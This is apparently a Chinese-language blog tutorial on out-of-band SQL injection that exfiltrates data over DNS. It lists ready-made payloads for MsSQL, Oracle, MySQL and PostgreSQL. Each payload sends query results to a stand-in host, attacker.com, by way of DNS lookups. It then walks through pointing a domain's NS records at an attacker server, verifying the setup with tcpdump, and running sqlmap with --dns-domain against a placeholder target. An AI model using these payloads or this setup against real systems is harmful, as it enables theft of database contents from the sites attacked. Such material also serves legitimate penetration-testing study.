目录

什么是OOB?
简单来说Out-of-band,带外通信,通过某些信道来传输数据,比如DNS信道。在很多SQL注入场景无明确回显变化,只能通过时间盲注获得数据时,使用OOB技术将数据通过DNS信道传输可以极大的增加效率。
哪些数据库支持DNS OOB技术
MySQL、MsSQL、PostgreSQL、Oracle通过一些函数都可以实现OOB注入技术,下面列举出可用的Payload,更加详细的关于SQL注入OOB技术的探讨请见2012年miroslav的论文《Data Retrieval over DNS in SQL Injection Attacks》,或者Keacwu师傅在语雀上也记录过一篇关于SQL注入OOB的文章,本质上核心内容也是从这边论文而来。
MsSQL:
DECLARE @data varchar(1024); SELECT @data =(SELECT foo FROM bar); EXEC('master..xp_dirtree“\\'+ @ data +'.attacker.com \ foo $”');
Oracle:
SELECT DBMS_LDAP.INIT((SELECT foo FROM bar)||'.attacker.com',80)FROM DUAL;
MySQL:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT foo FROM bar),'.atacker.com'));
PostgreSQL:
DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT INTO query_result (SELECT foo FROM bar); exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.attacker.com\\\\foobar.txt\''; EXECUTE exec_cmd; END; $$ LANGUAGE plpgsql SECURITY DEFINER; SELECT temp_function();
SQLMap自动化DNS OOB
前几天在看SQLMap官方文档时,发现SQLMap真的有很多骚姿势选项、很多细节值得去学习。其中之一就有这个--dns-domain
选项。它支持通过DNS服务器来进行数据外带,兼容SQLMap各种自动化功能的同时,还增加了时间盲注的效率。
在网上搜索相关文章时,发现内容讲解的并不够细致,很多细节有遗漏,所以本篇文章会主要对如何使用SQLMap进行DNS OOB注入进行讲解。

当指定--dns-domain
选项来指定一个域名进行DNS外带时,SQLMap会在本机53端口启用一个自带的DNS服务器,这个DNS服务器负责的就是我们指定的域名的解析。所以,我们需要在域名运营商处将域名DNS指向我们攻击的主机地址(域名)。
配置好后,通过SQLMap向存在SQL注入漏洞的WEB应用执行相关SQL命令,并通过特定的函数(如 LOAD_FILE)将命令执行的结果通过发起DNS查询请求外带出去,那么外带数据的目标,自然就是我们配置好的本机DNS服务器了。这样,就达到了,SQLMap联动DNS外带数据进行SQL注入的效果。
操作步骤
1、首先要确定你的攻击服务器,我的攻击服务器是www.2h0ng.wiki所在的主机;这里,我的域名2h0ng.wiki配置了通配主机名,指向了我的服务器IP。

2、其次,确定好你想通过哪个域名进行DNS外带,这里我选择的域名是l3.gs。然后,需要将外带域名的DNS服务地址配置为攻击机的地址。这里的实现方式有很多种,你可以直接在买域名的地方设置域名DNS直接指向攻击机地址,也可以通过中转DNS比如DNSPod配置NS记录的地址为攻击机地址,都可以。
我这里是直接在DNSPod上配置NS记录为攻击机地址,如果用这种方法就要注意主机记录不要使用通配*。

3、外带域名已经将它的DNS服务器配置到了攻击机地址,我们来测试一下试配置有没有成功。
在攻击机服务器抓取53端口的数据包:
sudo tcpdump -n port 53 | grep l3.gs
然后随便找个电脑ping一下:

如果抓到了DNS请求的数据,则说明外带域名的DNS服务器成功配置到了攻击机的地址。
4、核心配置方法已经完成,下面使用SQLMap通过--dns-domain
选项指定外带域名进行OOB注入即可。
python sqlmap.py -u https://xx.xx.xx/?id=1 --dns-domain=l3.gs --current-user
这里要注意一下,阿里云、腾讯云会默认有一个systemd-resolved服务占用53端口,需要stop一下。
systemctl stop systemd-resolved.service
执行结果:


Reference
https://pentest.blog/data-ex-filtration-with-dns-in-sqli-attacks/